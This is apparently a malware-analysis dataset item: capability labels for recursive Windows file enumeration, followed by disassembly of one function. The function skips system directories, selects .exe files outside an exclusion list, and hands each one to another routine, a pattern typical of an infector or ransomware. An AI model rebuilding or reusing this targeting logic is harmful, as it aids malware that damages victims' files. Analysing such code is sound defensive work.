Function at 0x4028f0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x49c
mov byte [ebp - 1], 1
mov dword [ebp - 0x38], str.windows
mov dword [ebp - 0x34], str.boot
mov dword [ebp - 0x30], str.system
mov dword [ebp - 0x2c], str.programdata
mov dword [ebp - 0x28], str.program_files
mov dword [ebp - 0x24], str.appdata
mov dword [ebp - 0x20], str.application_data
mov dword [ebp - 0x1c], str.intel
mov dword [ebp - 0x18], str.default
mov dword [ebp - 0x14], str.msocache
mov dword [ebp - 0x10], str.config.msi
mov dword [ebp - 0xc], str.perflogs
mov dword [ebp - 8], str._recycle.bin
push 0x250
push 0
lea eax, [ebp - 0x498]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x208
push 0
lea ecx, [ebp - 0x240]
push ecx
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x405428
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x240]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
lea ecx, [ebp - 0x498]
push ecx
lea edx, [ebp - 0x240]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0xffffffff
je 0x402b95
mov eax, dword [ebp - 0x498]
and eax, 0x10
je 0x402a24
push 0x40542c
lea ecx, [ebp - 0x46c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x402a1f
push 0x405430
lea edx, [ebp - 0x46c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x402a1f
lea eax, [ebp - 0x46c]
push eax
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x240]
push edx
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
lea eax, [ebp - 0x240]
push eax
call fcn.004028f0
add esp, 4
jmp 0x402b79
lea ecx, [ebp - 0x240]
mov dword [ebp - 0x248], ecx
mov edx, dword [ebp - 0x248]
push edx
call dword [sym.imp.USER32.dll_CharLowerW]
mov dword [ebp - 0x49c], 0
jmp 0x402a58
mov eax, dword [ebp - 0x49c]
add eax, 1
mov dword [ebp - 0x49c], eax
cmp dword [ebp - 0x49c], 0xd
jae 0x402a85
mov ecx, dword [ebp - 0x49c]
mov edx, dword [ebp + ecx*4 - 0x38]
push edx
mov eax, dword [ebp - 0x248]
push eax
call fcn.00402bb0
add esp, 8
test eax, eax
je 0x402a83
mov byte [ebp - 1], 0
jmp 0x402a49
movzx ecx, byte [ebp - 1]
cmp ecx, 1
jne 0x402b79
push str..exe
lea edx, [ebp - 0x46c]
push edx
call fcn.00402bb0
add esp, 8
test eax, eax
je 0x402b79
lea eax, [ebp - 0x46c]
push eax
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x240]
push edx
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
push 0x405444
lea eax, [ebp - 0x46c]
push eax
call fcn.00402bb0
add esp, 8
test eax, eax
jne 0x402b79
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x40544c
lea ecx, [ebp - 0x46c]
push ecx
call fcn.00402bb0
add esp, 8
test eax, eax
jne 0x402b79
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.VolDrvCo
lea edx, [ebp - 0x46c]
push edx
call fcn.00402bb0
add esp, 8
test eax, eax
jne 0x402b79
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x405468
lea eax, [ebp - 0x46c]
push eax
call fcn.00402bb0
add esp, 8
test eax, eax
jne 0x402b79
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x405470
lea ecx, [ebp - 0x46c]
push ecx
call fcn.00402bb0
add esp, 8
test eax, eax
jne 0x402b79
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x240]
push edx
call fcn.00402450
add esp, 4
lea eax, [ebp - 0x498]
push eax
mov ecx, dword [ebp - 0x244]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4029c1
mov edx, dword [ebp - 0x244]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret